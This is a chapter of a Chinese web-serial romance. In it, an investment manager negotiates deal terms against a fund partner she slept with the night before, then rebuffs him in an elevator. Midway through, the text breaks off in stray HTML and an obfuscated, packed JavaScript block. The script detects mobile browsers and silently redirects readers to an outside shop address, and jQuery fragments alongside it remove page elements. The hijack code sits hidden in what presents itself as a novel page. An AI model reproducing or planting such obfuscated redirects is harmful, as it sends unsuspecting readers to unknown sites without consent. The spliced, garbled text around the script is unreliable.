许予薇码了码面前的材料,连怼了几次都没对齐。
“稿子太厚了,怎么这么多……”她在心里对自己说。
绝对不是因为手抖。
昨晚睡过同一张床,今天在谈判桌上照样得装得毫无交集,这是打工人的基本修养。许予薇不允许自己在职场上翻车,更何况这种决定项目成败的重要会议,坐定后,连半个眼神都没往对面的桌牌上偏。
“薇姐,今天按哪版来?”坐在身侧的莫嘉凯低声问,他揽过许予薇面前的打印件,一摞旧融资附件,一摞标黄的当前条件,显然没分清哪摞才是今天能用的。
莫嘉凯刚从实习转正,从实习期就在星海的战略投资部,mentor是许予薇,而转正后的第一项正式工作,也是跟她一起做灵犀这轮融资的项目。年轻人深褐色短发,身形清瘦,脸上还挂着没褪干净的学生气,第一次上这种阵仗的谈判桌,脊背绷得笔直。
许予薇把自己那份标黄的推到他面前,又把他手边那摞旧附件轻轻抽走。
“看我这版。”她压着声音,把话一句句说清楚,“旧的只能当底稿。原来那些资源承诺,全是冲着领投位置给的,位置没了,条件就要重新算,今天一条都不能照旧端上桌。”
莫嘉凯重重点头,把两摞材料里挑了几页关键的,放在了最上方。
宋言清了清嗓子,打破沉默:“启衡的方案要往前推,星海也是老朋友,我希望两边的合作,能最大程度保留下来。”
“宋总,那第一页的措辞就得改。”许予薇翻开文件夹,“‘继续获得星海全方位资源支持’,这句太笼统。星海现在连跟不跟投都没定,原先承诺的算力、服务器、渠道和数据接口,全是领投方案的配套,不能照旧打包留着,更不能拿到桌上,当灵犀和启衡谈条件的筹码。”
宋言脸上有点挂不住:“许经理,跟投也是投。写得这么绝,外面看见了,会以为星海看衰灵犀……”
“对外的口径可以另拟,一定给足灵犀体面。”许予薇说,“但桌上的账得先算清,这是两回事。”
“账也不是这么个算法。”宋言把那一页翻过来,“好几家客户已经在用星海的云和算力跑交付,今天说收就收,项目卡在半路,这个责任谁来负?”
许予薇等他说完,才开口:“您放心。已经生效的义务,星海负责到底,一家客户都不会撂下。我要收回的,是还没生效、也没理由白送的那部分。”
“说得好听。”楚既明一直好整以暇地陷在椅背里,这会儿指尖在桌面轻扣两下,“领投的位置一丢,星海转头就收资源。传出去,别人只会说星海没有格局。”
莫嘉凯坐在旁边,大气都不敢出,键盘敲得飞快,像要把每个字都钉进纪要里。
“楚总,这是一码归一码。”许予薇看向他,“资源配套的是领投位置,位置归了启衡,配套自然要重新核价。星海不是收回善意,是收回前提。总不能启衡拿了领投,连星海贴进去的产业资源,也一并笑纳吧?”
“行,那就一码归一码。”楚既明顺着她的话往下接,“启衡领投,有两个条件也得摆上桌面。第一,既有客户的交付,不能因为资源重谈就没人负责;第二,原领投方案里那些排他条款,不能原样搬进跟投协议,灵犀的研发得留自由度。”
“可以分开谈。”许予薇说,“只要启衡也不默认星海之前的承诺照旧有效。”
“本来就没打算白占。”楚既明笑了笑,转头吩咐带来的助理,“既有义务和新增支持分开列,启衡该承担的部分,重新拟一份补充协议。”
随后的条款顺着这个边界一条条过。宋言核了几处具体条目,确认既有客户的支持不断档、对外口径另拟,才松了口。
两个小时的拉锯,许予薇把最稳妥的防守边界钉在了桌面上。星海的资源一寸没白送,灵犀的交付也没人撂下;至于星海最后跟不跟投、跟多少,那是另一本要重新核算的账。
“许经理。”楚既明掀起眼皮看过来,“排他这条涉及核心条款,如果做不了主,可以回去请示陈总。”
轻飘飘一句话,精准扎在她最在意的痛处上。
“不用请示。”许予薇迎上他的目光,“没有合作基础的条件,我有权当场拒绝;至于星海出不出资、出多少,是投委会的事,今天我谁也不替他们答应。话再漂亮,也绕不开这道程序。”
楚既明收起那副散漫姿态,目光在她身上停了两秒,低笑了一声:“精彩。看来许经理今天的权限,比我想的大。”
他笑得越大度,许予薇胸口那股火就窝得越结实。人家是基金最高层的合伙人,一句话就能定启衡的立场;她说得再硬,也只是个替公司传话的打工人。筹码从来不在一个量级上,他当然笑得出来。
终于到了散会,宋言擦着汗,尴尬地笑道:“两位今天棋逢对手,我们也受益匪浅……”,说完带着两边的助理,把会上的要点又逐条确认了一遍,约好会后各自要补的材料。
“中午有安排吗?”楚既明合起文件,随口问了一句。
“中午我做东,大家一起吃个便饭?”宋言赶紧热情地表态。
“谢谢宋总,不了。”许予薇利落地合上电脑,“下午要赶回公司,向陈总汇报。”
楚既明没再多说,只抬手做了个请便的手势。
莫嘉凯扬起声音问道:“予薇姐,你怎么回公司呢?”
昨晚喝了酒,许予薇今早是打车来的,便说自己待会儿打车回。
莫嘉凯收了电脑,快速地冲到门口,“予薇姐,我开了车,要不你坐我的车回公司吧?我先去地库取车,在大堂门口等您。”
“好,辛苦。”
许予薇拎着包朝电梯厅走去。身后传来稳健的脚步声,楚既明迈着长腿跟了上来,随意站在她身侧,空气里漫开他身上那股极淡的冷杉与木质香气。
“许经理,名片都不留一张?”他偏头看她。
“不必了。”许予薇看着上方的楼层指示灯,“楚总在会上也没给大家发名片。启衡合伙人的门槛太高,星海普通经理高攀不上。”
“名片是没发。”楚既明的声音低下来,“可我的私人电话今早留给你了。”
许予薇一听就来气,早上留下那张写有手机号的纸条时,她还觉得,这男人虽然来路不明,好歹让人不讨厌。
“是吗?”她面不改色,“没印象。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965508|214490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
叮的一声,电梯门缓缓滑开,轿厢里空无一人。
两人一前一后走进去。
金属门在身后无声合拢,狭小的空间里,空气一下子逼仄起来。
“你今天对我敌意很大。”楚既明转过身看她,“在会上,你对拒绝了星海的宋言都客客气气,怎么唯独对我横挑鼻子竖挑眼?”
“我对所有商业合作方都一视同仁。”
“一视同仁?”楚既明挑眉,“昨晚你对我,可没这么公事公办。”
许予薇的耳根不受控地泛起热意。她冷脸盯着跳动的楼层数字,决定不接话。
“我猜了一路。”他的语气倒是坦然,“是气我早上先走?我有晨跑的习惯,怕你醒来看不见人,走之前特意把号码留下了。结果我出了身汗回去,房间已经空了。”
“楚总的习惯,不用向我报备。”
“那就是气项目。”楚既明点了点头,又像想起什么,“不对……还是气我后来违约亲了你?”
许予薇咬了咬嘴唇,面上依然没有露出反应:“你确实违约了。昨晚我说得很清楚,你也答应了的。”
楚既明明显怔了一下,像是没料到,她攥着不放的竟是这个细节。
“是我违约在先。”他收起那点试探的笑意,声音放轻,“这件事我认,留号码也是我自作主张,一并认。你要怎么算账,我都听着。”
他认得太痛快,反倒叫她准备的冷言冷语没处放。许予薇深吸一口气,把胸口那团火稳稳压住。
“楚既明。”她抬起眼,第一次连名带姓叫他,“你不仅在私人关系上违约了,还在公事上抢了我跟了四个月的项目,断了我升职的路。你觉得公事谈完就能翻篇,我这边还没翻过去。”
“项目的事,我不道歉,那是生意。”楚既明看着她,“但昨晚的事,我没有一点是冲着轻慢你去的。”
“那我是不是还该说声谢谢?”
“那倒不用。”他顿了顿,“我只问一句。以后工作时间之外,还能不能约你?”
“不能。”许予薇扭头看他,“没有私下。”
话音很冷很重,但说完却发现他嘴角依旧挂着漫不经心的笑,联想到未来一个月可能还会被他求婚,许予薇莫名地来气,她心一横,打开包、取出了早上留下的那张便签,塞到了他手里。
楚既明的目光在便签上停了一瞬,眉梢动了动,到底没笑出来。
“联系方式还你。”她把手机收回包里,“楚总以后有事,让助理走工作通道。”
电梯叮的一声,抵达一楼。
玻璃穹顶投下明晃晃的日光,大堂里人来人往,谁也不认识谁。
许予薇一步跨出轿厢,没再回头,电梯门在她身后缓缓合拢,载着人继续往车库去了。
一辆宝马Z4已经停在大堂门口,莫嘉凯探出头,朝他挥了挥手,许予薇坐进副驾,先交代正事:“嘉凯,下午回公司要向陈总汇报,框架你先搭。还有早上那两摞材料,哪摞能用、哪摞只能当底稿,路上我再给你过一遍。”
莫嘉凯一边应着,一边把车汇进车流,恨不得腾出一只手来记。
许予薇靠着椅背,闭上眼睛。